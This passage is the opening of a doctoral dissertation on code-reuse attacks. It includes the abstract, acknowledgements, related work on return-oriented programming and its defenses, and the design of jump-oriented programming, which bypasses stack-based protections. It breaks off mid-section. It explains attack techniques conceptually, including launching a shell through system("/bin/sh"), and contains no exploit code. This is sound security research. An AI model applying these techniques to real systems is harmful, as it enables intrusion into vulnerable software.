ABSTRACT

BLETSCH, TYLER. Code-Reuse Attacks: New Frontiers and Defenses. (Under the direction of Vince Freeh and Xuxian Jiang.)

Code-reuse attacks are software exploits in which an attacker directs control flow through existing code with a malicious result. For example, return-oriented programming is an effective code-reuse attack in which short code sequences ending in a `ret` instruction are found within existing binaries and executed in arbitrary order by taking control of the stack. This allows for Turing-complete behavior in the target program without the need for injecting attack code, thus significantly negating current code injection defense efforts (e.g., W⊕X). On the other hand, its inherent characteristics, such as the reliance on the stack and the consecutive execution of return-oriented gadgets, have prompted a variety of defenses to detect or prevent it from happening.

This document introduces two novel code-reuse attacks. The first, jump-oriented programming, eliminates the reliance on the stack and `ret` instructions seen in return-oriented programming without sacrificing expressive power. This attack still builds and chains normal functional gadgets, each performing certain primitive operations, except these gadgets end in an indirect branch rather than `ret`. Without the convenience of using `ret` to unify them, the attack relies on a dispatcher gadget to dispatch and execute the functional gadgets. We have successfully identified the availability of these jump-oriented gadgets in the GNU libc library and demonstrated the technique on both the x86 and MIPS architectures. Our experience with an example shellcode attack demonstrates the practicality and effectiveness of this technique.

The second attack presented, Turing-complete return-into-libc, demonstrates that it is possible to attain arbitrary computation even when only chaining entire functions as opposed to short gadgets. This has negative implications for certain defenses, and more importantly corrects the record on the capabilities of the existing return-into-libc technique.

To mitigate the threats presented by the above exploits, this document proposes a novel defense technique called control flow locking, which ensures that the control flow graph of an application is deviated from at most once, and that this deviation cannot be used to craft a malicious system call. This defense thwarts the existing code-reuse attacks, and the implementation presented shows performance overhead competitive with existing techniques, achieving significant gains in several benchmarks. Control flow locking represents a general solution to the problem of code-reuse attacks with a performance penalty small enough to justify deployment in real-world situations.
Code-Reuse Attacks: New Frontiers and Defenses

by
Tyler Bletsch

A dissertation submitted to the Graduate Faculty of
North Carolina State University
in partial fulfillment of the
requirements for the Degree of
Doctor of Philosophy

Computer Science
Raleigh, North Carolina
2011

APPROVED BY:

_________________________________________  ______________________________
Yan Solihin                             Peng Ning

_________________________________________  ______________________________
Xuxian Jiang                           Vince Freeh
Co-chair of Advisory Committee         Co-chair of Advisory Committee
DEDICATION

To my mother, without whom none of this would have been possible.
Tyler Bletsch is originally from Tampa, Florida. He completed his Bachelor of Science degree at North Carolina State University in 2004, and stayed on to pursue his PhD. In his graduate studies, he has worked in the fields of power aware computing, storage technology, and software security (the focus of this work). During this time, he began a career at NetApp, eventually moving to a position as reference architect in the Infrastructure and Cloud Engineering team. He will graduate with a PhD in Computer science in May, 2011, and is planning on pursuing his role at NetApp full time.
To begin, I would like to thank my advisers, Dr. Vince Freeh and Dr. Xuxian Jiang, for their help. Vince taught me everything I know about operating systems and research in computer science, and he equipped me with an overall strategy for success in my graduate career which has been profoundly useful. Xuxian introduced me to the security field, and was instrumental in guiding the line of research that eventually evolved into this document. His eye for detail and standard of excellence have markedly improved my skills as a researcher. I would also like to thank the other members of my committee, Peng Ning and Yan Solihin for their time in energy in this pursuit.

I am grateful to many members of Xuxian’s security research group for their keen insights and fruitful discussions. Mike Grace and Zhi Wang both contributed valuable ideas to what eventually became the control flow locking technique discussed in Chapter 6. Mark Etheridge and Minh Q. Tran were absolutely indispensable in developing proof-of-concept attacks for the Turing-Complete Return-into-libc technique (Chapter 5), meeting incredibly aggressive deadlines along the way. Deepa Srinivasan helped me gain a deeper understanding of the related work that colored my pursuits in this area. Yajin Zhou was even kind enough to work with me to understand the MIPS architecture before he even arrived at NCSU to begin his graduate work!

Min Yeol Lim, another doctoral student under Dr. Freeh, worked with me for years in a variety of projects, and this collaboration helped me grow as a researcher. I would like to thank him for being available to discuss new ideas and directions over the years.

I would like to acknowledge a number of professors of courses I have taken in the past for giving me a breadth of understanding that expanded my world view and provided me with new mental tools to approach technical problems.

Dr. David McAllister’s numerical methods and graphics courses allowed me to view the world through the lens of linear algebra, and his coverage of floating point arithmetic was surprisingly important in debugging assembly language code years later in this work. Most importantly, he provided me one of the most useful insights in my academic career: the idea that the unconscious mind, once exposed to a problem, will work on decomposing it without conscious effort. This surprising mental hack greatly improved the way I studied and later the way I performed research.

Alan Watkin’s course on Perl, though brief, made me think about problems in a new way: in terms of string processing, lists, and hashes. It is therefore no surprise that the bulk of code I developed in this research was written in Perl and Python (a related language). Similarly, Jason Schwartz’s brief course in C taught me more than just the language; it allowed me to understand how C code directly mapped to low-level hardware operations.

I would like to thank Dana Lasher, who taught me Computer Organization and Assembly Language at NCSU way back in 2002. His clarity and passion in teaching these fundamentals gave
me a solid foundation which I found myself calling upon 8 years later in the pursuit of this work. It is my fondest hope that Dana go on tormenting and inspiring future generations of computer scientists for decades to come.

I’d like to thank Dr. James Lester for his courses in AI and Intelligent Media Systems at the start of my graduate career. The field of AI and natural language was my other passion at the start, and it will always be my road not taken.

I would like to thank my coworkers at NetApp for putting up with my hectic schedule while I was finishing this research. My research was too often “almost done”, but they stuck with me to the end, which speaks to the honor and commitment of my team and of the company as a whole.

Lastly, I must acknowledge the generous funding I’ve received during my graduate career: an IBM UPP award, U.S. Army Research Office grant W911NF-08-1-0105, and NSF grants CNS-0410203, CNS-0852131, and CNS-0952640.
# TABLE OF CONTENTS

List of Tables ......................................................... viii
List of Figures ......................................................... ix

Chapter 1 Introduction ................................................. 1

Chapter 2 Related Work ............................................... 3
  2.1 A brief history of code-reuse attacks .......................... 3
  2.2 General defenses ............................................... 5
  2.3 Other code-reuse applications ................................. 6

Chapter 3 Jump-Oriented Programming: A New Class of Code-Reuse Attack ......................................................... 7
  3.1 Background ....................................................... 9
  3.2 Design .......................................................... 11
    3.2.1 The Dispatcher Gadget ........................................ 12
    3.2.2 Functional Gadgets ......................................... 13
    3.2.3 Gadget Discovery ............................................. 14
    3.2.4 Launching the Attack ........................................ 18
  3.3 Implementation .................................................. 19
    3.3.1 Availability of Gadgets ...................................... 20
    3.3.2 The Dispatcher Gadget ........................................ 21
    3.3.3 Other Gadgets ............................................... 21
    3.3.4 Example attack ............................................... 24
  3.4 Discussion ...................................................... 27
  3.5 Summary ........................................................ 28

Chapter 4 Generalizing the Jump-Oriented Programming Attack to RISC ......................................................... 30
  4.1 Background ....................................................... 31
  4.2 Design .......................................................... 32
    4.2.1 Gadget discovery ............................................. 33
  4.3 Gadget Catalog ................................................... 36
    4.3.1 The Dispatcher Gadget ........................................ 36
    4.3.2 Functional Gadgets ......................................... 37
  4.4 Example Attack ................................................... 40
  4.5 Discussion ...................................................... 43
  4.6 Summary ........................................................ 44

Chapter 5 Turing-Complete Return-into-libc Attacks ......................................................... 45
  5.1 Background ....................................................... 47
  5.2 Design .......................................................... 49
    5.2.1 Arithmetic and Logic ......................................... 50
    5.2.2 Memory Accesses ............................................. 50
LIST OF TABLES

Table 4.1  A simplified summary of MIPS opcodes seen in this paper. Details such as
overflow traps and mnemonic/operand-type agreement are omitted.  .  .  .  .  .  .  .  . 31

Table 5.1  A subset of POSIX-compliant widgets used in TC-RILC.  .  .  .  .  .  .  .  .  .  .  .  . 51

Table 6.1  Possible values of $k$ until the multi-bit CFL scheme.  .  .  .  .  .  .  .  .  .  .  .  .  . 66
Table 6.2  Possible paths of exploited control flow and their outcomes.  .  .  .  .  .  .  .  .  . 67
## LIST OF FIGURES

| Figure 3.1 | Return-oriented programming (ROP) vs. jump-oriented programming (JOP) | 11 |
| Figure 3.2 | Control flow in an example jump-oriented program, with the order of jumps indicated by the numbers 1..6. Here, edx is used as pc, which the dispatcher advances by simply adding 4 to get to the next word in a contiguous gadget address table (so \( f(pc) = pc + 4 \)). The functional gadgets shown will (1) dereference eax, (2) add the value at address ebx to eax, and (3) store the result at the address ecx. The registers esi and edi are used to return control to the dispatcher – esi does so directly, whereas edi goes through a layer of indirection. | 12 |
| Figure 3.3 | The frequency of indirect jmp and call instructions, both intended and unintended, versus ret instructions in libc. | 20 |
| Figure 3.4 | The example vulnerable program. A string overflow from argv[1] will overwrite jb. | 24 |
| Figure 3.5 | A jump-oriented shellcode written in NASM. | 26 |
| Figure 4.1 | The example vulnerable program. A string overflow from argv[1] will overwrite handler. | 40 |
| Figure 4.2 | A jump-oriented shellcode for MIPS written in NASM. | 41 |
| Figure 5.1 | Format of a malicious RILC stack frame. The esp lifter address corresponds to the function’s return address, allowing sequential execution of functions. | 48 |
| Figure 5.2 | The vulnerable application used to launch the example attacks. | 52 |
| Figure 5.3 | A visual representation of the universal Turing machine simulator attack code. The attacker-controlled static memory is shown in (a). The tape \( T \) and table \( A \) constitute the program, while the environment variables I, S, Q, P, and M are used with wordexp() to do the bulk of the arithmetic and logic. When pointer indirection is needed, the lower two bytes are calculated by wordexp(), then converted to binary and written into the pointer variables tape_ptr and table_ptr. The stack frames are represented in (b) using a C-like notation where each line corresponds to an attacker-crafted stack frame. The frames are grouped by logical operation; within each group is its symbolic representation and description. | 53 |
| Figure 5.4 | Output of the TC-RILC Turing machine simulator processing a 4-state, 2-symbol busy beaver. Each line represents the state of the tape, with the inverted digit showing the location of the read/write head. The final line indicates the total number of steps taken. | 55 |
Figure 5.5  A visual representation of the selection sort attack code. The attacker-controlled static memory is shown in (a). The array to be sorted is $x$. When pointer indirection is needed, the lower two bytes are calculated by `wordexp()`, then converted to binary and written into the pointer variables `base` and `current`. The stack frames are represented in (b) using a C-like notation where each line corresponds to an attacker-crafted stack frame. The frames are grouped by logical operation; within each group is its symbolic representation and description.

Figure 6.1  A simplified view of the control flow graph used in the CFL technique. Indirect jmp instructions, which generally arise from compiler optimizations, are not shown. The value of the control flow key $k$ is shown next to each edge; grey edges do not require control flow locking and are simply present for completeness.

Figure 6.2  Modified gcc workflow. The grey `Pre-as` and `Post-ld` phases are the only additional steps in the build process.

Figure 6.3  Code transformations responsible for control flow locking. Some transformations for alignment are also shown: the macros `aligned_ret` and `aligned_call` are the same as the normal `ret` and `call` instructions, except they restrict the operand to align to a 32-byte boundary.

Figure 6.4  Performance overhead of various forms of the CFL technique.
Chapter 1

Introduction

Network servers are under constant threat by attackers who use maliciously crafted packets to exploit software bugs and gain unauthorized control. In spite of significant research addressing the underlying causes of software vulnerabilities, such attacks remain one of the largest problems in the security field. An arms race has developed between increasingly sophisticated attacks and their corresponding defenses.

One of the earliest forms of software exploit is the code injection attack, wherein the malicious message includes machine code, and a buffer overflow or other technique is used to redirect control flow to the attacker-supplied code. However, with the advent of CPUs and operating systems that support the \( W \oplus X \) guarantee [55], this threat has been mitigated in many contexts. In particular, \( W \oplus X \) enforces the property that “a given memory page will never be both writable and executable at the same time.” The basic premise behind it is that if a page cannot be written to and later executed from, code injection becomes impossible.

Unfortunately, attackers have developed innovative ways to defeat \( W \oplus X \). For example, one possible way is to launch a code-reuse attack, wherein existing code is re-purposed to a malicious end. The simplest and most common form of this is the return-into-libc (RILC) technique [42]. In this scenario, the adversary uses a buffer overflow to overwrite part of the stack with return addresses and parameters for a list of functions within libc (the core C library that is dynamically linked to all applications in UNIX-like environments). This allows the attacker to execute an arbitrary sequence of libc functions, with a common example being a call to \texttt{system("/bin/sh")} to launch a shell.

While RILC is powerful, it is widely believed that [42, 47, 46, 21] arbitrary computation is not possible within the context of the exploited application. For this, the attacker may turn to return-oriented programming (ROP) [47]. As before, ROP overwrites the stack with return addresses and arguments. However, the addresses supplied now point to arbitrary points within the existing code base, with the only requirement being that these snippets of code, or gadgets, end in a ret
instruction to transfer the control to the next gadget. Return-oriented programming has been shown to be Turing complete on a variety of platforms and codebases [8, 13, 26, 38, 36], and automated techniques have made development of such attacks a straightforward process [8, 28, 36]. The real-world danger of this technique was shown when Checkoway et al. used it to violate the integrity of a commonly deployed electronic voting machine [13].

Since the advent of return-oriented programming, a number of defenses have been proposed to either detect or prevent ROP-based attacks. These systems rely on unique features of ROP in order to detect or prevent such attacks. Unfortunately, this document will demonstrate that code-reuse attacks are possible without reliance on the stack, therefore bypassing any security offered by such techniques. These defenses, as well as other related work, are discussed in depth in Chapter 2.

The above represents a brief sketch of the current state of the art. It is the central thesis of this document that there is an insufficient understanding of both the capabilities of and potential defenses against code-reuse attacks. To address this concern, the research presented in this document advances our understanding of code-reuse attacks by introducing two novel attack paradigms, as well as a new defense technique which counters them. First, we present jump-oriented programming (JOP), in which the attacker establishes arbitrary control flow based solely on indirect jump instructions, foregoing any reliance on the stack. This technique has negative implications for most code-reuse defense mechanisms, which focus on the stack or ret instructions. JOP is introduced on the x86 platform in Chapter 3, and, to demonstrate the generality of the technique, expanded into a RISC-style architecture in Chapter 4.

Next, recall that the traditional return-into-libc attack is assumed to be limited to straight-line code. Chapter 5 challenges this assumption. Specifically, by combining existing functions in unique ways, we have been able to construct arbitrary computations using only whole functions within libc. We call this variant of RILC Turing-complete return-into-libc (TC-RILC). This result directly challenges the notion that the traditional RILC attack is limited in expressive power. Further, because TC-RILC attacks do not have certain peculiarities specific to ROP, our technique has negative implications for some anti-code-reuse defenses [21, 15, 37] that target ROP.

Finally, in order to address these threats, Chapter 6 introduces a novel defense technique, control flow locking (CFL), which is able to counter code-reuse attacks in general. CFL achieves performance competitive with previous code-reuse defenses, achieving significant savings for several workloads.
Chapter 2

Related Work

This section reviews this history of code-reuse attacks and their corresponding defenses, a number of orthogonal defense techniques, and other applications for code-reuse in the security field.

2.1 A brief history of code-reuse attacks

The original return-into-libc (RILC) attack was formalized as early as 1997, when Solar Designer introduced a single-call exploit which redirected control flow into the `system()` function of libc in order to launch a shell [23]. This technique was subsequently expanded to include multi-function chaining through the use of esp lifters and other techniques in 2001 [42]. This introduced the RILC technique as a mechanism for straight-line, chained execution of functions.

Not satisfied with the limited expressive power that RILC was assumed to have, Shacham et al. put forth the notion of return-oriented programming (ROP) [47]. By arranging and chaining the execution of short code sequences (“gadgets”), ROP has been shown to be Turing complete. Detailed coverage of how ROP works is presented in Section 3.1. ROP was first introduced for the x86 and subsequently expanded to other architectures, including SPARC [8], PowerPC [38], ARM [36], and others. A variant of ROP has even been adapted to the higher-level constructs present in the PHP scripting language, culminating in a data stealing exploit and even an attack on the PHP exception handler that is able to launch to a traditional machine-code-level code-reuse attack [25].

Hund et al. presented a return-oriented rootkit for the Windows operating system that bypasses kernel integrity protections [28]. This work included development of automated compiler and loader modules, allowing straightforward development of a variety of rootkits without injecting a single byte of code. This is problematic, as it was able to evade even the most sophisticated kernel integrity protection systems known.

In addition, the codebase needed to initiate a ROP-based attack need not be as large as a monolithic desktop OS kernel. Castelluccia et al. showed that even a codebase as small as the
bootloader of an embedded device can contain the gadgets needed to implement a ROP-based rootkit, and that deploying ROP in such an environment can defeat software attestation systems which attempt to verify program integrity [18].

ROP attacks exhibit several peculiarities in their control flow and use of the stack; these features have been used to develop defenses against the ROP technique. For instance, ROPDefender [22] rewrites existing binaries to record a separate shadow stack which is used to verify that each return address is valid; this prevents return-based attacks, including both ROP and RILC. Other systems also make use of a shadow stack, either in hardware or software, and can be used to similarly enforce stack integrity [17, 27, 52]. Similarly, systems such as StackGuard make use a “canary” value adjacent to key control data on the stack in order to detect when a buffer overflow is being used to subvert control flow [19].

Another interesting trait of ROP attacks is their reliance on very short gadgets—typically only 2 to 5 instructions in length. This means that the frequency of the `ret` instruction during the execution of a ROP attack is abnormally high. Capitalizing on this insight, DROP [15] and DynIMA [21] can detect a ROP-based attack. DROP achieves this by dynamically instrumenting the application using Valgrind, a profiling and software analysis tool; this system had an unfortunately high overhead (300–2000%). DynIMA sought to employ a similar technique using dynamic binary instrumentation implemented in the OS program loader.

From another perspective, the return-less approach aims to remove `ret` so that no return-oriented gadgets can be possibly located and assembled [37]. This is achieved by rewriting all program code so that all `ret` instructions that happen to be embedded in other code (so-called “unintended” instructions) are eliminated by replacing the code with a `ret`-free equivalent. Then, the actual `ret` instructions generated by the compiler are changed to use a table lookup, disallowing arbitrary control flow transfers.

The jump-oriented programming technique presented in Chapters 3 and 4 is able to avoid all these defenses, because they all assume the attacker’s reliance on the stack to govern control flow. Further, even the TC-RILC attack from Chapter 5, which does rely on the stack, is able to negate the DROP [15] and DynIMA [21] defense techniques, as it does not share ROP’s high frequency of `ret` instructions. TC-RILC also defeats the return-less approach [37], as this defense does not inhibit the normal function-level semantics of compiled code.

Most recently, continuing the arm race between the attackers and defenders, other forms of return-free code-reuse besides JOP have been introduced. Checkoway et al. chain code snippets ending in a `pop+jmp` sequences to achieve arbitrary computation with ROP-like semantics [14]. However, such sequences are exceedingly rare, necessitating the “bring your own `pop+jmp`” paradigm, where the sequence must be found in a particularly large code base—larger even than libc. The jump-oriented programming (JOP) model presented in the following chapter has no such requirement, and is therefore threatens a much broader set of applications and environments. Davi et
al. show a jump-based attack on ARM is possible by using a special Branch-Load-Exchange (BLX) instruction [20], but this exploit also requires a larger attack surface that just libc, incorporating an additional library representing an order of magnitude more code. The JOP implementation on MIPS (Chapter 4), on the other hand, achieves Turing completeness on a similar instruction set using libc alone.

2.2 General defenses

In addition to defenses that specifically target ROP, there are orthogonal defense schemes that protect against a variety of machine-level attacks. Address-space layout randomization (ASLR) randomizes the memory layout of a running program, making it difficult to determine the addresses in libc and other legitimate code on which code-reuse attacks rely [44, 5, 6, 56]. However, there are several attacks which can bypass or seriously limit ASLR, especially on the 32-bit x86 architecture [42, 24]. In fact, Shacham et al. demonstrated a derandomization attack technique capable of defeating the commonly deployed PaX ASLR scheme in under four minutes [48]. Therefore, while ASLR is certainly useful, it is not a silver bullet to the problem of code-reuse attacks.

Instruction-set randomization (ISR) is another attempt at introducing artificial heterogeneity into program memory [4, 33]. Instead of randomizing address-space, ISR randomizes the instruction set for each running process so that instructions in the injected attack code fail to execute correctly even though the attacks may have successfully hijacked the control flow. Unfortunately, because it focuses exclusively on preventing code injection, it is not an effective defense against code-reuse attacks.

Many mechanisms have been proposed to enforce the integrity of memory. Program shepherding is a technique to allow the application of security policy to control flow transfers [34]. It is implemented on top of a code interpreter framework with a dynamic optimization system to cache native translations of basic blocks. This approach achieves good protection, but had unacceptably high overhead for some workloads (up to 760% in one case).

Abadi et al. introduce the notion of Control Flow Integrity (CFI), which seeks to ensure that execution only passes through approved paths taken from the software’s control flow graph [2]. To achieve this, at each indirect jump/call and return instruction, the target address is checked to see if it follows a valid path in the control flow graph. Unfortunately, this particular implementation of CFI suffered from large overhead, and has not seen wide deployment. However, the core idea of enforcing control flow integrity would effectively mitigate the threat of code-reuse attacks, provided it could be achieved at a reasonable cost. Subsequent work on the notion of CFI has allowed for additional security features, including Data Flow Integrity (DFI) [10] and others [51, 3, 11].

Recently, Onarlioglu et al. have introduced G-Free, another system aimed at addressing the

---

1Note that systems described separately in [14] and [20] are now merged [12].
threat of code-reuse in the general case [43]. This system works by systematically editing assembly code so that it does not contain indirect control flow transfers as unintended instructions. It can then secure the intended control flow transfers using data protection techniques similar to prior work (e.g. StackGuard [19], etc.) This technique appears to have much improved performance compared to CFI (∼ 3%). However, it is difficult to discern how it performs with control flow intensive benchmarks, as the only evaluation of performance overhead for application-wide protection was on workloads in which control flow was not on the critical path (i.e. IO-bound or computation-kernel based workloads).

The control flow locking technique presented in Chapter 6 shares many of the same goals as CFI and G-Free, in that it seeks to protect control flow from diversion by attackers. However, it does so in a very different way from these techniques, allowing greatly reduced overhead compared to CFI as well as G-Free in some cases.

### 2.3 Other code-reuse applications

Researchers have found interesting applications of re-using certain code snippets from malicious code to better understand them. For example, Caballero et al. proposed BCR [9], a tool that aims to extract a function from a (malware) binary so that it can be re-used later. Kolbitsch et al. developed Inspector [35] to re-use existing code in a binary and transform it into a stand-alone gadget that can be later used to (re)execute specific malware functionality. From another perspective, Lin et al. [39] describes a reuse-oriented camouflaging attack that re-uses existing code within a binary (in a sense similar to ROP) and transforms a legitimate binary such that malicious activities can be stealthily performed. In comparison, the techniques discussed in this document deal with re-use of legitimate code of a vulnerable program to construct arbitrary computation without injecting code.
Chapter 3

Jump-Oriented Programming: A New Class of Code-Reuse Attack

The general definition of a code-reuse attack is an exploit in which the hacker weaves control flow through existing code in unintended ways to achieve a malicious goal. So far, such attacks have been limited almost exclusively to techniques that rely on the CPU’s call/return functionality, usually by unwinding attacker-controlled return addresses on the stack. This has led researchers to develop defenses that focus on behavior, either by watching the stack semantics [15] or frequency of \texttt{ret} instructions [21], or by restricting the availability of \texttt{ret} instructions to begin with [37].

However, this approach is fundamentally flawed, as code-reuse attacks need not necessarily rely on the stack—there are other control flow instructions which to be exploited. Specifically, the indirect jump instruction (\texttt{jmp}) loads the instruction pointer from a general purpose register or in-memory pointer. We note that a code-reuse attack based on indirect \texttt{jmp}s was put forth as a theoretical possibility as early as 2003 [45]. However, there always remained an open problem of how the attacker would maintain control of the program’s execution. With no common control mechanism like \texttt{ret} to unify them, it was not clear how to chain gadgets together with \texttt{jmp}s, which are uni-directional control flow transfers.

This chapter solves this problem, and shows that a fully jump-based attack is possible. Specifically, we present an attack paradigm called \textit{jump-oriented programming} (JOP). In a JOP-based attack, the attacker abandons all reliance on the stack for control flow and \texttt{ret} for gadget discovery and chaining, instead using nothing more than a sequence of indirect jump instructions. Because almost all known techniques to defend against ROP depend on its reliance on the stack or \texttt{ret}, none of them are capable of detecting or defending against this new approach. The one exception are systems that enforce full control flow integrity (e.g. [2]); unfortunately, such systems are not widely deployed, likely due to concerns over their complexity and negative performance impact.

Similar to ROP, the building blocks of JOP are still short code sequences called \textit{gadgets}. How-
ever, instead of ending with a `ret`, each such gadget ends with an indirect `jmp`. Some of these `jmp` instructions were intentionally emitted by the compiler. Others are not intended but present due to the density of x86 instructions and the feasibility of unaligned execution. However, unlike ROP, where a `ret` gadget can naturally return back the control based on the content of the stack, a `jmp` gadget is performing an uni-directional control flow transfer to its target, making it difficult to regain control back to chain the execution of the next jump-oriented gadget.

Our solution to this problem is the proposition of a new class of gadget, the *dispatcher gadget*. Such a gadget is intended to govern control flow among various jump-oriented gadgets. More specifically, if we consider other gadgets as *functional gadgets* that perform primitive operations, this dispatcher gadget is specifically selected to determine which functional gadget is going to be invoked next. Naturally, the dispatcher gadget can maintain an internal dispatch table that explicitly specifies the control flow of the functional gadgets. Also, it ensures that the ending `jmp` instruction in the functional gadget will always transfer the control back to the dispatcher gadget. By doing so, jump-oriented computation becomes feasible.

In order to achieve the same Turing-complete expressive power of ROP, we also aim to identify various jump-oriented gadgets for memory load/store, arithmetic calculations, binary operations, conditional branching, and system calls. To do that, we propose an algorithm to discover and collect jump-oriented gadgets, organize them into different categories, and save them in a central gadget catalog.

In summary, this chapter makes the following contributions:

1. We expand the taxonomy of code-reuse attacks to include a new class of attack: *jump-oriented programming*. When compared to existing return-oriented programming, our attack has the benefit in not relying on the stack for control flow. Instead, we introduce the notion of a *dispatcher gadget* to take the role of executing functional gadgets.

2. We present a heuristic-based algorithm to effectively discover a variety of jump-oriented gadgets, including the critical dispatcher gadget. Our results indicate that all of these gadgets are abundantly available in GNU libc that is dynamically linked to almost all UNIX applications.

3. We demonstrate the efficacy of this technique with a jump-oriented shellcode attack based on the gadgets discovered by our algorithm.

The rest of the chapter is organized as follows: Section 3.1 provides a background of the relevant aspects of the x86 architecture and the existing ROP methodology. Next, Section 3.2 explains the design of the new jump-oriented programming attack, then Section 3.3 presents an implementation on an x86 Linux system, including a concrete example attack. Section 3.4 examines the limitations of our approach and explores ways for improvement. Finally, Section 3.5 concludes this chapter.
3.1 Background

To understand the contributions of this chapter, it will be necessary to briefly summarize the techniques behind return-oriented programming. While this discussion focuses on the 32-bit x86 architecture\(^1\), the return-oriented programming approach has been demonstrated in a variety of architectures and runtime environments.

The x86 stack is managed by two dedicated CPU registers: the esp “stack pointer” register, which points to the top of the stack, and the ebp “base pointer” register, which points to the bottom of the current stack frame. Because the stack grows downward, i.e., grows in the direction of decreasing addresses, esp \(\leq\) ebp. Each stack frame stores each function call’s parameters, return address, previous stack frame pointer, and automatic (local) variables, if any. The stack content or pointers can be manipulated directly via the two stack registers, or implicitly through a variety of CPU opcodes, such as push, pop, and others. The instruction set includes opcodes for making function calls (call) and returning from them (ret)\(^2\). The call instruction pushes the address of the next instruction (the return address) onto the stack. Conversely, the ret instruction pops the stack into eip, resuming execution directly after the call.

An attacker can exploit a buffer overflow vulnerability or other flaw to overwrite part of the stack, such as replacing the current frame’s return address with a supplied value. In the traditional return-into-libc (RILC) approach, this new value is a pointer to a function in libc chosen by the attacker. The overwritten stack also contains parameters for this function, allowing the execution of an arbitrary function with specific parameters. By chaining these malicious stack frames together, a sequence of functions can be executed. While this is undoubtedly a very powerful ability, it is assumed that this does not allow the attacker to perform arbitrary computation\(^3\). For that, the attacker may launch another process (e.g., via exec()) or alter memory permissions to make a traditional code injection attack possible (e.g., via mprotect()).

Because these operations may lead to detection or interception, the stealthy attacker may instead turn to return-oriented programming (ROP), which allows arbitrary computation within the context of the vulnerable application. ROP is driven by the insight that return addresses on the stack can point anywhere, not just to the top of functions like in a classic RILC attack. Based on this, it is possible to direct control flow through a series of small snippets of existing code, each ending in ret. These small snippets of code are called gadgets, and in a large enough codebase

---

\(^1\)The x86 assembly language used in this document is written in Intel syntax. This means that destination operands appear first, so add eax, ebx indicates eax ← eax + ebx. Dereferencing is indicated by brackets, e.g., [eax]. Also, the x86 platform allows dereference operations to encode fairly complex expressions within a single instruction, e.g., [eax+ebx*4+0x1234].

\(^2\)There are actually multiple flavors of call and ret to support inter-segment control transfers (“far” calls) and automatic stack unwinding. For this discussion, these distinctions have little relevance, so we speak about call and ret in generic terms.

\(^3\)This misconception is addressed in Chapter 5.
(such as libc), there is a massive selection of gadgets to choose from. On the x86 platform, the
selection is made even larger by virtue of the fact that instructions are of variable length, so the
CPU will interpret the same piece of code differently if decoding is started from a different offset.

Based on this, the return-oriented program is simply a sequence of gadget addresses and data
values laid out in the vulnerable program’s memory. In a traditional attack, it is overflowed into
the stack, though the buffer can be loaded elsewhere if the attacker can redirect the stack pointer
*esp* to the new location. The gadget addresses can be thought of as opcodes in a new return-
oriented machine, and the stack pointer *esp* is its program counter. Under this definition, just
as a basic block of traditional code is one that does not explicitly permute the program counter,
a “basic block” of return-oriented code is one that does not explicitly permute the stack pointer
*esp*. Conversely, conditional branches and loops can be created by changing the value of *esp*
based on logic. The combination of arithmetic, logic, and conditional branching yields a Turing
complete return-oriented machine. A set of gadgets that satisfies these requirements was first
discovered on the x86 [47] and later expanded to many other platforms [8, 13, 26, 38, 36]. In
addition, such attacks can also make arbitrary system calls, as this is simply a matter of calling the
appropriate library routine, or even accessing the kernel system call interface directly (e.g., via the
*sysenter* instruction). Because of this, a return-oriented attack is equivalent in expressive power
to a successful code injection.

A number of researchers have attempted to address the problem of return-oriented program-
ing. Each of the proposed defense systems identifies a specific trait exhibited by return-oriented
attacks and develops a detection or prevention measure around it. Some enforce the LIFO stack
invariant [22, 27], some detect excessive execution of the *ret* instruction [15, 21], and one went
so far as to eliminate every instance of the *ret* opcode from the kernel binary [37]. What these
techniques have in common is that they all assume that the attack must use the stack to govern
control flow. This chapter introduces *jump-oriented programming* as a new class of attack that has
no reliance on the stack, and is therefore immune to all known existing defense techniques.

**Threat model** In this work, we assume the adversary can put a payload (e.g., the dispatch
table – Section 3.2) into memory and gain control of a number of registers, especially the instruction
pointer *eip* to divert the program execution. The assumption is reasonable, as several common
vulnerabilities such as buffer overruns, heap overflows, and format string bugs exist that fulfill this
requirement. We also assume the presence of a significant codebase in which to find gadgets. As
with ROP, we find that this can be fulfilled solely with the content of libc, which is dynamically
linked to all processes in UNIX-like environments. On the defensive side, the vulnerable program
is protected by a strict enforcement of code integrity (e.g., W⊕X) that defeats the traditional code
injection attack.
3.2 Design

Figure 3.1 compares return-oriented programming (ROP) and our proposed jump-oriented programming (JOP). As in ROP, a jump-oriented program consists of a set of gadget addresses and data values loaded into memory, with the gadget addresses being analogous to opcodes within a new jump-oriented machine. In ROP, this data is stored in the stack, so the stack pointer \texttt{esp} serves as the “program counter” in a return-oriented program. JOP is not limited to using \texttt{esp} to reference its gadget addresses, and control flow is not driven by the \texttt{ret} instruction. Instead, JOP uses a dispatch table to hold gadget addresses and data. The “program counter” is any register that points into the dispatch table. Control flow is driven by a special \textit{dispatcher gadget} that executes the sequence of gadgets. At each invocation, the dispatcher advances the virtual program counter, and launches the associated gadget.

An example control flow of a JOP program is shown in Figure 3.2. In this example, we essentially add two memory values (pointed to by \texttt{eax} and \texttt{ebx}, respectively) and store the sum into another memory location pointed to by \texttt{ecx}, i.e., \([\texttt{ecx}] \leftarrow [\texttt{eax}] + [\texttt{ebx}]\).

The main goal of this work is to demonstrate the feasibility of jump-oriented programming. We show that its expressive power is comparable to that of return-oriented programming. However, by not relying on the stack for control flow, JOP can potentially use any memory range, not necessarily contiguous, to hold the dispatch table.

Below, we further elaborate on the dispatcher gadget (Section 3.2.1) as well as the functional gadgets (Section 3.2.2) whose primitive operations comprise the actual computation. After that, we discuss how to discover these gadgets from the commonly available codebase (Section 3.2.3). Finally, we explore possible ways to bootstrap a jump-oriented program (Section 3.2.4).
Figure 3.2: Control flow in an example jump-oriented program, with the order of jumps indicated by the numbers 1..6. Here, \texttt{edx} is used as \texttt{pc}, which the dispatcher advances by simply adding \texttt{4} to get to the next word in a contiguous gadget address table (so \( f(pc) = pc + 4 \)). The functional gadgets shown will (1) dereference \texttt{eax}, (2) add the value at address \texttt{ebx} to \texttt{eax}, and (3) store the result at the address \texttt{ecx}. The registers \texttt{esi} and \texttt{edi} are used to return control to the dispatcher – \texttt{esi} does so directly, whereas \texttt{edi} goes through a layer of indirection.

### 3.2.1 The Dispatcher Gadget

The dispatcher gadget plays a critical role in a JOP-based program. It essentially maintains a virtual program counter, or \texttt{pc}, and executes the JOP program by advancing it through one gadget after another. Specifically, each \texttt{pc} value specifies an entry in the dispatch table, which points to a particular jump-oriented functional gadget. Once invoked, each functional gadget will perform a basic operation, such as arithmetic calculation, branching, or the invocation of a particular system call.

Abstractly, we consider any jump-oriented gadget that carries out the following algorithm as a dispatcher candidate.

\[
